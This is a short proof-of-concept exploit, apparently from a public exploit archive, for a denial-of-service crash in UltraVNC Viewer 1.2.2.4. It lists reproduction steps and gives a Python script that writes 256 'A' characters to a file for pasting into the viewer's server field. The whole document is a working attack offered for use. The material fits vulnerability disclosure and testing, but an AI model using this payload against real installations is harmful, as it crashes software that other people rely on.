#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-04-14#Vendor Homepage: https://www.uvnc.com/#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html#Tested Version: 1.2.2.4#Tested on: Windows 7 x64 Service Pack 1#Steps to produce the crash:#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py#2.- Open UltraViewer.txt and copy content to clipboard#3.- Open UltraVNC Viewer #4.- In "VNC Server" Paste Clipboard#5.- Click on "Connect"#6.- Crashed
cod = "\x41"* 256
f = open('UltraViewer.txt','w')
f.write(cod)
f.close()